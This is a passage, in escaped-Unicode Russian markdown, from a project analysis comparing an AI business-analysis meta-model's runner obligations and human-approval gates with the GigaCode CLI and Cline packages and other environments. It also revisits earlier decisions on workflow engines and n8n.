\u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e\u0441\u0442\u044c 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[`experiments/issue_639_runner_probes.py`](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.py)\\n   \u0441 [\u0436\u0443\u0440\u043d\u0430\u043b\u043e\u043c](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/experiments/issue_639_runner_probes.log);\\n   \u0432\u043d\u0435\u0448\u043d\u0438\u0435 \u043f\u0435\u0440\u0432\u043e\u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 \u2014 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u044f, \u043b\u0438\u0446\u0435\u043d\u0437\u0438\u0438 \u0438 \u0438\u0441\u0445\u043e\u0434\u043d\u044b\u0439 \u043a\u043e\u0434\\n   \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432, \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043d\u043d\u044b\u0435 2026-09-29. \u0412\u0442\u043e\u0440\u0438\u0447\u043d\u044b\u0435 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u0438 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\u0443\u043a\u0430\u0437\u0430\u043d\u043e, \u043a\u0430\u043a\\n   \u043f\u0440\u043e\u0432\u0435\u0440\u0438\u0442\u044c.\\n4. **\u0423\u0432\u0435\u0440\u0435\u043d\u043d\u043e\u0441\u0442\u044c \u0438 \u0442\u0438\u043f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0430\u0446\u0438\u0438** \u2014 \u043a\u0430\u043a \u0432 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438: \u0432\u044b\u0441\u043e\u043a\u0430\u044f,\\n   \u0441\u0440\u0435\u0434\u043d\u044f\u044f, \u043d\u0438\u0437\u043a\u0430\u044f; \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0442\u044c, \u043c\u0435\u043d\u0442\u0430\u043b\u044c\u043d\u0430\u044f \u043c\u043e\u0434\u0435\u043b\u044c. \u0414\u043b\u044f \u0441\u043b\u043e\u044f 3\\n   \u0434\u043e\u0431\u0430\u0432\u043b\u0435\u043d \u0442\u0438\u043f **\u0432\u044b\u0431\u043e\u0440** \u2014 \u0440\u0435\u0448\u0435\u043d\u0438\u0435 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\u0438 \u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f:\\n\u043a\u0430\u043a \u043f\u0440\u043e\u0445\u043e\u0434\u0438\u0442\u044c \u0433\u0440\u0430\u0444, \u0447\u0442\u043e \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c, \u043a\u043e\u0433\u0434\u0430 \u043e\u0441\u0442\u0430\u043d\u0430\u0432\u043b\u0438\u0432\u0430\u0442\u044c\u0441\u044f. \u042d\u0442\u0438\\n\u043e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u2014 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u043e\u0435 \u0437\u0430\u0434\u0430\u043d\u0438\u0435 \u0434\u043b\u044f \u0441\u0440\u0435\u0434\u044b. \u0422\u0430\u0431\u043b\u0438\u0446\u0430 \u0441\u0432\u0435\u0440\u044f\u0435\u0442 \u0438\u0445 \u0441 \u0442\u0435\u043c,\\n\u0447\u0442\u043e \u0435\u0441\u0442\u044c \u0432 \u043f\u0430\u043a\u0435\u0442\u0430\u0445.\\n\\n| \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u043e | \u0413\u0434\u0435 \u0432 \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u0438 | \u0421\u0440\u0435\u0434\u0430 1: \u043f\u0430\u043a\u0435\u0442 GigaCode | \u0421\u0440\u0435\u0434\u0430 2: \u043f\u0430\u043a\u0435\u0442 Cline | \u041a\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c |\\n|---------------|-------------------|--------------------------|----------------------|----------------------|\\n| \u0427\u0438\u0442\u0430\u0442\u044c \u0433\u0440\u0430\u0444 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 \u043f\u0440\u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0435, \u043f\u0438\u0441\u0430\u0442\u044c \u043b\u0438\u0441\u0442 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | [`30-decision-framework.md` L49, L154](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L49) \u2014 \u00ab\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u00bb | Runner \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444, \u043d\u043e \u043f\u0435\u0440\u0435\u0445\u043e\u0434 \u0432\u044b\u0431\u0438\u0440\u0430\u0435\u0442 \u0438 \u043d\u0430\u0431\u0438\u0440\u0430\u0435\u0442 \u0411\u0410 | \u041c\u0430\u0440\u0448\u0440\u0443\u0442 \u0438\u0437 \u043e\u0434\u043d\u043e\u0433\u043e \u043e\u0442\u0440\u0435\u0437\u043a\u0430 Working \u2192 Release; \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u0432\u0435\u0434\u0451\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435 \u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u043e ([\u0413-26](#\u0433-26)) |\\n| \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u043e \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u0443 \u0440\u0435\u0431\u0440\u0430 (`EP-R3`, `EP-R5`) | [L227, L229](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L227-L229) | 17 \u043f\u0440\u0435\u0434\u0438\u043a\u0430\u0442\u043e\u0432 \u0432 YAML \u043d\u0435 \u0447\u0438\u0442\u0430\u044e\u0442\u0441\u044f; \u0432\u0435\u0442\u0432\u0438 \u043f\u0440\u043e\u0434\u0443\u0431\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b \u0432 Python \u0434\u043b\u044f 8 \u0443\u0437\u043b\u043e\u0432 (`P11`) | \u0412\u0435\u0442\u0432\u043b\u0435\u043d\u0438\u0439 \u043d\u0435\u0442 | Runner ([\u0413-28](#\u0433-28)) |\\n| \u041f\u0440\u043e\u0432\u0435\u0440\u043a\u0430 \u0432\u044b\u0445\u043e\u0434\u0430 \u0443\u0437\u043b\u0430 \u043f\u043e \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u0443 | [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50): `Gate` \u2014 \u00ab\u0432 \u043a\u0430\u043a\u043e\u0439 \u0442\u043e\u0447\u043a\u0435 \u0438 \u043a\u0435\u043c \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043a\u043e\u043d\u0442\u0440\u0430\u043a\u0442\u00bb | \u041d\u0430 \u043f\u0440\u043e\u043c\u0435\u0436\u0443\u0442\u043e\u0447\u043d\u044b\u0445 \u0443\u0437\u043b\u0430\u0445 \u043f\u0440\u043e\u0432\u0435\u0440\u044f\u0435\u0442\u0441\u044f \u043f\u0430\u043a\u0435\u0442, \u0430 \u043d\u0435 \u0432\u044b\u0445\u043e\u0434 (`P10`) | \u0422\u043e\u043b\u044c\u043a\u043e Working \u0438 Release | Runner ([\u0413-29](#\u0433-29)) |\\n| \u041e\u0434\u043d\u0430 \u043a\u043e\u0440\u0440\u0435\u043a\u0442\u0438\u0440\u0443\u044e\u0449\u0430\u044f \u043f\u043e\u043f\u044b\u0442\u043a\u0430 \u043f\u043e\u0441\u043b\u0435 \u043e\u0442\u043a\u0430\u0437\u0430 G-mach (`EP-R7`) | [L231](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L231) | \u041d\u043e\u043b\u044c \u043f\u043e\u043f\u044b\u0442\u043e\u043a; \u043b\u044e\u0431\u043e\u0439 \u043e\u0442\u043a\u0430\u0437 \u0431\u043b\u043e\u043a\u0438\u0440\u0443\u0435\u0442 \u0437\u0430\u0434\u0430\u0447\u0443 (`P12`) | \u041f\u043e\u0432\u0442\u043e\u0440 \u2014 \u0441 \u043d\u043e\u0432\u044b\u043c TASK ID | Runner ([\u0413-32](#\u0433-32), [\u0413-33](#\u0433-33)) |\\n| \u0412\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0433\u043e\u043d\u0430 (`EP-R8`) | [L232](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L232) | `halt` \u2014 \u043a\u043e\u043d\u0435\u0447\u043d\u043e\u0435 \u0441\u043e\u0441\u0442\u043e\u044f\u043d\u0438\u0435 | \u041d\u0435\u0442 | Runner ([\u0413-31](#\u0433-31)) |\\n| Append-only \u0436\u0443\u0440\u043d\u0430\u043b \u0441\u043e\u0431\u044b\u0442\u0438\u0439 (`EP-R9`) | [L233](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/30-decision-framework.md#L233) | \u0415\u0441\u0442\u044c: \u0446\u0435\u043f\u043e\u0447\u043a\u0430 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u0432, \u0437\u0430\u043f\u0438\u0441\u044c \u0442\u043e\u043b\u044c\u043a\u043e runner | \u0415\u0441\u0442\u044c trace \u043f\u0440\u043e\u0433\u043e\u043d\u0430 | Runner \u2014 \u0443\u0436\u0435 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 ([\u0413-35](#\u0433-35)) |\\n| \u0421\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u0435 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 (G-human) | `Gate` \u0432 [`10-theory.md` L50](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/ba-meta-model/10-theory.md#L50) | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0441 \u0434\u0430\u0439\u0434\u0436\u0435\u0441\u0442\u043e\u043c \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 `approval` \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c ([\u0413-18 \u043f\u0435\u0440\u0432\u043e\u0439 \u0447\u0430\u0441\u0442\u0438](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/analysis/2026-09-29-cline-package-expectation-gap.md#\u0433-18)) | Runner + \u0447\u0435\u043b\u043e\u0432\u0435\u043a |\\n\\n\u0412\u044b\u0432\u043e\u0434 \u043f\u043e \u0441\u043b\u043e\u044e 1: \u043c\u0435\u0442\u0430-\u043c\u043e\u0434\u0435\u043b\u044c \u043e\u043f\u0438\u0441\u044b\u0432\u0430\u0435\u0442 \u043d\u0435 \u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u0435\u043d \u0437\u043d\u0430\u0442\u044c \u0430\u0433\u0435\u043d\u0442\u00bb, \u0430\\n\u00ab\u0447\u0442\u043e \u0434\u043e\u043b\u0436\u043d\u0430 \u0434\u0435\u043b\u0430\u0442\u044c \u043c\u0430\u0448\u0438\u043d\u0430 \u0432\u043e\u043a\u0440\u0443\u0433 \u0430\u0433\u0435\u043d\u0442\u0430\u00bb. \u041e\u0431\u044f\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0441\u0444\u043e\u0440\u043c\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u044b\\n\u0431\u0435\u0437 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0438 \u043a \u0441\u0440\u0435\u0434\u0435, \u043a\u0440\u043e\u043c\u0435 `EP-R8`, \u0433\u0434\u0435 \u0432\u043e\u0437\u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043d\u0430\u0437\u0432\u0430\u043d\u043e \u00ab\u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0435\u0439\\n\u0432 \u043d\u043e\u0432\u044b\u0439 \u0447\u0430\u0442\u00bb ([\u0413-27](#\u0433-27)). \u0417\u043d\u0430\u0447\u0438\u0442, \u0438\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0438 \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435, \u0438 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u2014 \u0435\u0441\u043b\u0438 \u043d\u0430\u0437\u043d\u0430\u0447\u0438\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f.\\n\\n## \u0421\u043b\u043e\u0439 2. \u0421\u0440\u0435\u0434\u044b: \u043a\u0442\u043e \u043a\u0430\u043a\u0443\u044e \u0440\u043e\u043b\u044c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\\n\\n\u0421\u043b\u043e\u0432\u043e \u00ab\u0441\u0440\u0435\u0434\u0430\u00bb \u0441\u043a\u0440\u044b\u0432\u0430\u0435\u0442 \u0448\u0435\u0441\u0442\u044c \u0440\u0430\u0437\u043d\u044b\u0445 \u0440\u043e\u043b\u0435\u0439. \u0412 \u043e\u0431\u0441\u0443\u0436\u0434\u0435\u043d\u0438\u0438 \u0438\u0445 \u043b\u0435\u0433\u043a\u043e\\n\u0441\u043c\u0435\u0448\u0430\u0442\u044c; \u043d\u0438\u0436\u0435 \u043a\u0430\u0436\u0434\u0430\u044f \u0440\u043e\u043b\u044c \u043d\u0430\u0437\u0432\u0430\u043d\u0430 \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u043e.\\n\\n| \u0420\u043e\u043b\u044c | \u0421\u0440\u0435\u0434\u0430 1: GigaCode CLI | \u0421\u0440\u0435\u0434\u0430 2: Cline + Mango AI | \u0421\u0440\u0435\u0434\u0430 3: Qwen Chat | \u0421\u0440\u0435\u0434\u0430 4: \u0441\u0435\u0440\u0432\u0435\u0440 |\\n|------|-----------------------|---------------------------|--------------------|-----------------|\\n| \u041c\u043e\u0434\u0435\u043b\u044c | GigaCode, \u0431\u0435\u0437 API Mango AI | Mango AI \u0447\u0435\u0440\u0435\u0437 OpenAI-\u0441\u043e\u0432\u043c\u0435\u0441\u0442\u0438\u043c\u044b\u0439 API | Qwen, \u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e | Mango AI \u0447\u0435\u0440\u0435\u0437 API, \u0432\u044b\u0437\u043e\u0432 \u0438\u0437 \u043a\u043e\u0434\u0430 |\\n| \u0410\u0432\u0442\u043e\u0440 \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a\u0430 | \u0410\u0433\u0435\u043d\u0442 GigaCode | \u0410\u0433\u0435\u043d\u0442 Cline | \u041c\u043e\u0434\u0435\u043b\u044c \u0432 \u0447\u0430\u0442\u0435 | \u0428\u0430\u0433 runner, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0439 \u043c\u043e\u0434\u0435\u043b\u044c |\\n| \u0418\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441 \u0447\u0435\u043b\u043e\u0432\u0435\u043a\u0430 | \u0422\u0435\u0440\u043c\u0438\u043d\u0430\u043b | \u041f\u0430\u043d\u0435\u043b\u044c Cline \u0432 VS Code | \u0412\u0435\u0431-\u0447\u0430\u0442 | \u0412\u0435\u0431-\u0447\u0430\u0442, \u043c\u0435\u0441\u0441\u0435\u043d\u0434\u0436\u0435\u0440 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430 | **\u0411\u0410 \u0440\u0443\u043a\u0430\u043c\u0438** \u0447\u0435\u0440\u0435\u0437 `tools/run-task` | **\u041c\u043e\u0434\u0435\u043b\u044c** \u043f\u043e \u0442\u0435\u043a\u0441\u0442\u0443 `AGENTS.md` | \u041c\u043e\u0434\u0435\u043b\u044c | Runner \u043a\u0430\u043a \u0441\u043b\u0443\u0436\u0431\u0430 |\\n| \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u0438 \u0433\u0435\u0439\u0442\u043e\u0432 | `validate-package.py` \u0446\u0435\u043b\u0438\u043a\u043e\u043c | `run_task.py` \u0434\u043b\u044f Working \u0438 Release | \u041d\u0435\u0442 | \u0412\u0430\u043b\u0438\u0434\u0430\u0442\u043e\u0440\u044b Source + CI \u0434\u043b\u044f Release |\\n| \u041a\u0430\u043d\u0430\u043b \u0441\u043e\u0433\u043b\u0430\u0441\u043e\u0432\u0430\u043d\u0438\u044f | \u0424\u0440\u0430\u0437\u0430-\u0432\u044b\u0437\u043e\u0432 \u0432 \u0442\u0435\u0440\u043c\u0438\u043d\u0430\u043b\u0435 | \u041f\u043e\u043b\u0435 \u0432 JSON, \u043a\u043e\u0442\u043e\u0440\u043e\u0435 \u043f\u0438\u0448\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c | \u041d\u0435\u0442 | \u041a\u043d\u043e\u043f\u043a\u0430 \u0438\u043b\u0438 \u0444\u043e\u0440\u043c\u0430 \u0441 \u0437\u0430\u043f\u0438\u0441\u044c\u044e \u0432 \u0436\u0443\u0440\u043d\u0430\u043b |\\n\\n\u0421\u0442\u0440\u043e\u043a\u0430 \u00ab\u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0430\u00bb \u0438 \u0435\u0441\u0442\u044c \u0433\u043b\u0430\u0432\u043d\u044b\u0439 \u0440\u0430\u0437\u0440\u044b\u0432: \u043d\u0438 \u0432 \u043e\u0434\u043d\u043e\u0439 \u0440\u0430\u0431\u043e\u0447\u0435\u0439\\n\u0441\u0440\u0435\u0434\u0435 \u044d\u0442\u0443 \u0440\u043e\u043b\u044c \u043d\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442 \u043a\u043e\u0434, \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0447\u0438\u0442\u0430\u0435\u0442 \u0433\u0440\u0430\u0444. \u041a\u043b\u0438\u0435\u043d\u0442\u044b \u043d\u0430 \u0440\u0430\u0431\u043e\u0447\u0435\u043c\\n\u043c\u0435\u0441\u0442\u0435 \u043d\u0435 \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043a\u0440\u044b\u0442\u044c \u0435\u0451 \u0441\u0430\u043c\u0438: workflow, skill \u0438 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u2014 \u044d\u0442\u043e \u0442\u0435\u043a\u0441\u0442,\\n\u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u043f\u043e\u043b\u0443\u0447\u0430\u0435\u0442 \u043c\u043e\u0434\u0435\u043b\u044c, \u0430 hooks \u043c\u043e\u0433\u0443\u0442 \u0437\u0430\u043f\u0440\u0435\u0442\u0438\u0442\u044c \u043e\u0442\u0434\u0435\u043b\u044c\u043d\u044b\u0439 \u0432\u044b\u0437\u043e\u0432, \u043d\u043e \u043d\u0435\\n\u0437\u0430\u0441\u0442\u0430\u0432\u0438\u0442\u044c \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0439 ([\u0413-37](#\u0433-37)\u2026[\u0413-39](#\u0433-39)). \u041f\u043e\u044d\u0442\u043e\u043c\u0443\\n\u043c\u0430\u0440\u0448\u0440\u0443\u0442 \u0434\u043e\u043b\u0436\u0435\u043d \u0436\u0438\u0442\u044c \u0432 runner, \u0430 \u043a\u043b\u0438\u0435\u043d\u0442 \u2014 \u0431\u044b\u0442\u044c \u043c\u0435\u0441\u0442\u043e\u043c, \u0433\u0434\u0435 \u043f\u0438\u0448\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u043d\u043e\u0432\u0438\u043a.\\n\\n## \u0421\u043b\u043e\u0439 3. \u0418\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u0430\u0432\u0442\u043e\u043c\u0430\u0442\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\\n\\n### \u041f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440 \u043f\u0440\u0435\u0436\u043d\u0438\u0445 \u0440\u0435\u0448\u0435\u043d\u0438\u0439\\n\\n\u0414\u0432\u0430 \u0440\u0435\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u0435\u043a\u0442\u0430 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u043e\u0432 \u043f\u0440\u044f\u043c\u043e.\\n\\n- **\u0412\u0435\u0440\u0434\u0438\u043a\u0442 `M4`: \u00abbuild \u2014 YAML-\u0430\u0440\u0442\u0435\u0444\u0430\u043a\u0442, \u0434\u0432\u0438\u0436\u043e\u043a \u0438\u0437\u0431\u044b\u0442\u043e\u0447\u0435\u043d\u00bb**\\n  ([`research/ba-requirements/orchestration/30-decision-framework.md` L193](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L193)).\\n  YAML \u043f\u043e\u0441\u0442\u0440\u043e\u0435\u043d. \u0418\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c YAML \u0432 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u043d\u0435 \u0432\u043e\u0448\u0451\u043b: \u00ab\u043d\u0435 \u043f\u043e\u043a\u0443\u043f\u0430\u0442\u044c\\n  \u0434\u0432\u0438\u0436\u043e\u043a\u00bb \u043f\u0440\u043e\u0447\u0438\u0442\u0430\u043b\u043e\u0441\u044c \u043a\u0430\u043a \u00ab\u0438\u0441\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044f \u043d\u0435 \u043d\u0443\u0436\u043d\u043e\u00bb. \u0414\u043b\u044f \u043e\u0434\u043d\u043e\u0433\u043e \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430 \u043d\u0430\\n  \u0440\u0430\u0431\u043e\u0447\u0435\u043c \u043c\u0435\u0441\u0442\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 \u0432\u0435\u0440\u0435\u043d \u0438 \u0441\u0435\u0439\u0447\u0430\u0441. \u0414\u043b\u044f \u0441\u0440\u0435\u0434\u044b 4 \u043c\u0435\u043d\u044f\u0435\u0442\u0441\u044f \u043f\u043e\u0441\u044b\u043b\u043a\u0430\\n  \u0432\u0435\u0440\u0434\u0438\u043a\u0442\u0430 \u2014 \u00ab\u0435\u0434\u0438\u043d\u0438\u0446\u0430 \u0440\u0430\u0431\u043e\u0442\u044b \u2014 \u043f\u0440\u0435\u0434\u043f\u0440\u043e\u0435\u043a\u0442\u043d\u0430\u044f \u0437\u0430\u0434\u0430\u0447\u0430 \u0430\u043d\u0430\u043b\u0438\u0442\u0438\u043a\u0430\u00bb\\n  ([L199-L202](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/ba-requirements/orchestration/30-decision-framework.md#L199-L202)):\\n  \u043f\u043e\u044f\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u0435 \u0437\u0430\u043a\u0430\u0437\u0447\u0438\u043a\u0430 \u0434\u043d\u044f\u043c\u0438, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0438 \u043e\u0431\u0449\u0438\u0439\\n  \u0436\u0443\u0440\u043d\u0430\u043b ([\u0413-36](#\u0433-36)).\\n- **\u0410\u043b\u044c\u0442\u0435\u0440\u043d\u0430\u0442\u0438\u0432\u0430 C RFC GigaCode: \u00ab\u0412\u0432\u0435\u0441\u0442\u0438 \u0432\u043d\u0435\u0448\u043d\u0438\u0439 workflow engine\u00bb \u2014\\n  \u00ab\u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e\u00bb**\\n  ([RFC L371-L375](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/projects/ba-ai-process/docs/rfc/2026-09-mango-ba-ai-runtime-cli-deployment.md#L371-L375)).\\n  \u041e\u0442\u043b\u043e\u0436\u0435\u043d\u043e, \u0430 \u043d\u0435 \u043e\u0442\u0432\u0435\u0440\u0433\u043d\u0443\u0442\u043e, \u0438 \u0431\u0435\u0437 \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 ([\u0413-54](#\u0433-54)).\\n  \u041f\u0440\u043e\u0431\u044b `P10`\u2026`P12` \u043f\u043e\u043a\u0430\u0437\u044b\u0432\u0430\u044e\u0442, \u0447\u0442\u043e \u0444\u0430\u0439\u043b\u043e\u0432\u044b\u0439 \u0430\u0432\u0442\u043e\u043c\u0430\u0442 \u0446\u0435\u043b\u0438 \u043f\u043e\u043a\u0430 \u043d\u0435\\n  \u0437\u0430\u043a\u0440\u044b\u0432\u0430\u0435\u0442, \u043d\u043e \u043f\u0440\u0438\u0447\u0438\u043d\u044b \u0434\u0435\u0448\u0451\u0432\u044b\u0435 \u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u044f\u044e\u0442\u0441\u044f \u0432\u043d\u0443\u0442\u0440\u0438 runner, \u0431\u0435\u0437 \u0432\u043d\u0435\u0448\u043d\u0435\u0433\u043e\\n  \u0434\u0432\u0438\u0436\u043a\u0430. \u0423\u0441\u043b\u043e\u0432\u0438\u0435 \u043f\u0435\u0440\u0435\u0441\u043c\u043e\u0442\u0440\u0430 \u043f\u0440\u0435\u0434\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f \u0437\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0442\u0430\u043a: \u0432\u043d\u0435\u0448\u043d\u0438\u0439 \u0434\u0432\u0438\u0436\u043e\u043a\\n  \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f, \u043a\u043e\u0433\u0434\u0430 \u043e\u0434\u043d\u043e\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u043d\u0443\u0436\u043d\u044b \u0431\u043e\u043b\u044c\u0448\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f,\\n  \u043e\u0436\u0438\u0434\u0430\u043d\u0438\u044f \u0434\u043e\u043b\u044c\u0448\u0435 \u0440\u0430\u0431\u043e\u0447\u0435\u0439 \u0441\u0435\u0441\u0441\u0438\u0438 \u0438 \u0446\u0435\u043d\u0442\u0440\u0430\u043b\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0436\u0443\u0440\u043d\u0430\u043b, \u0442\u043e \u0435\u0441\u0442\u044c \u043f\u0440\u0438\\n  \u043f\u0435\u0440\u0435\u0445\u043e\u0434\u0435 \u0432 \u0441\u0440\u0435\u0434\u0443 4.\\n- **\u041f\u043b\u0430\u043d n8n \u043c\u0430\u044f 2026.** \u042d\u0442\u0430\u043f 4 \u0434\u043e\u0440\u043e\u0436\u043d\u043e\u0439 \u043a\u0430\u0440\u0442\u044b RAG \u2014\\n  \u00abn8n-\u043e\u0440\u043a\u0435\u0441\u0442\u0440\u0430\u0446\u0438\u044f\u00bb \u0441 human gates\\n  ([`2026-05-26-rag-mapping-roadmap.md` L275-L283](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-rag-mapping-roadmap.md#L275-L283))\\n  \u2014 \u0438 \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0430 \u044d\u0442\u0430\u043f\u043e\u0432 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 \u043a \u0443\u0437\u043b\u0430\u043c n8n\\n  ([`2026-05-26-requirements-lifecycle-uncertainty.md` L425-L437](https://github.com/G-Ivan-A/hybrid-Intelligence-lab/blob/main/research/mango/2026-05-26-requirements-lifecycle-uncertainty.md#L425-L437)).\\n  \u041f\u043e\u0437\u0436\u0435 \u0432\u0435\u0440\u0434\u0438\u043a\u0442 `M4` n8n \u043d\u0435 \u0440\u0430\u0441\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442, \u0438 \u043e\u043f\u0440\u043e\u0432\u0435\u0440\u0436\u0435\u043d\u0438\u044f \u0432 